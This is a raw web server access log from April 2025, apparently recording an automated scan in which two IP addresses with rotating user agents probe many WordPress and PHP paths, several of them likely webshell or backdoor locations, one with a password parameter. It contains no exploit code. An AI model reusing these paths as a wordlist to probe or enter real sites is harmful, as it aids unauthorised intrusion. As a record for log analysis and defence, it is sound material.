"GET /files/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-admin/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:31 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-admin/maint/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-content/fonts/nunito/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-includes/sodium_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-admin/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-includes/style-engine/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-admin/css/colors/midnight/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-admin/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-admin/images/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:32 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:32 -0400] "GET /wp-admin/css/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /.well-known/acme-challenge/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-admin/js/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-content/plugins/envato-market/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-content/et-cache/7048/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-admin/css/colors/midnight/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-admin/js/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /650.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-admin/images/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:33 -0400] "GET /core/routes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-admin/js/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-includes/class-wpdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-admin/js/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /files_content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-includes/fonts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-content/plugins/woocommerce-square/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-includes/ID3/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:34 -0400] "GET /wp-includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /uploads_demo/blog/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-includes/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-includes/class-wpdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-includes/Text/Diff/Engine/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-includes/fonts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-includes/sitemaps/providers/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-includes/ID3/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-includes/widgets/class-wp-widget-block.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-includes/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:35 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - 